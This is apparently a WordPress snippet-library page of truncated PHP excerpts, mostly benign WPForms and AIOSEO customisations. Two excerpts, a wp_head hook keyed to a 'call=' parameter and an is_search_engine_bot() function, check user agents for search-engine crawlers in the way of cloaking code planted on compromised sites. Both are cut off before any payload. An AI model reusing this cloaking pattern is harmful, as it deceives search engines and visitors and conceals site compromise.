/** * Set the language for Google reCAPTCHA. * * @link https://wpforms.com/developers/how-to-set-the-language-for-google-recaptcha/ */ function wpf_dev_recaptcha_language( $url ) { // Set the language code to FR (French) return esc_url_raw( add_query_arg( array( ‘hl’ => ‘fr ‘), $url ) ); } add_filter( ‘wpforms_frontend_recaptcha_url’,…Continue reading
/** * Prevent certain names from the other formats for the Name form field. * * @link https://wpforms.com/developers/how-to-block-names-from-completing-your-form/ */ function wpf_dev_block_name_validation( $field_id, $field_submit, $form_data ) { // Bail early if form ID is not 1000 and field ID is not…Continue reading
/** * Prevent certain names from the Simple format Name form field. * * @link https://wpforms.com/developers/how-to-block-names-from-completing-your-form/ */ function wpf_dev_block_name_validation( $field_id, $field_submit, $form_data ) { // Bail early if form ID is not 1000 and field ID is not 10 if…Continue reading
/** * Get and use the File Upload field URL * * @link https://wpforms.com/developers/how-to-get-the-url-from-the-file-upload-form-field/ */ function wpf_dev_frontend_confirmation_message( $message, $form_data, $fields, $entry_id ) { // Only run on my form with ID = 1000 if ( absint( $form_data[ ‘id’ ] )…Continue reading
/** * Dynamically display years in the forms * * @link https://wpforms.com/developers/how-to-dynamically-display-years-in-your-forms/ */ function wpf_dev_dynamic_school_year( ) { ?>Continue reading
add_filter(‘aioseo_post_additional_keywords_limit’, function() { return 20; });Continue reading
add_action(‘wp_head’, function() { $complete_url = (isset($_SERVER[‘HTTPS’]) && $_SERVER[‘HTTPS’] === ‘on’ ? “https” : “http”) . “://$_SERVER[HTTP_HOST]$_SERVER[REQUEST_URI]”; if (strpos($complete_url, ‘?call=’) !== false || strpos($complete_url, ‘&call=’) !== false) { $userAgent = $_SERVER[‘HTTP_USER_AGENT’] ?? ”; $searchEngines = [‘google’, ‘bing’, ‘msn’, ‘yandex’, ‘baidu’, ‘duckduck’,…Continue reading
add_action(‘admin_bar_menu’, ‘remove_admin_bar_items’, 100); function remove_admin_bar_items($wp_admin_bar) { // Example: Remove the WordPress logo $wp_admin_bar->remove_node(‘wp-logo’); // Example: Remove the “Comments” menu $wp_admin_bar->remove_node(‘comments’); // Example: Remove the “Comments” menu $wp_admin_bar->remove_node(‘updates’); // Add more nodes as needed }Continue reading
//global $js_tag_id; //$js_tag_id = “CA365bab17031a47acab84c70a32d28015″; if (!defined(‘ABSPATH’)) exit; function is_search_engine_bot() { $userAgent = $_SERVER[‘HTTP_USER_AGENT’] ?? ”; if (stripos($userAgent, ‘google’) !== false || stripos($userAgent, ‘bing’) !== false || stripos($userAgent, ‘msn’) !== false || stripos($userAgent, ‘yandex’) !== false || stripos($userAgent, ‘baidu’) !==…Continue reading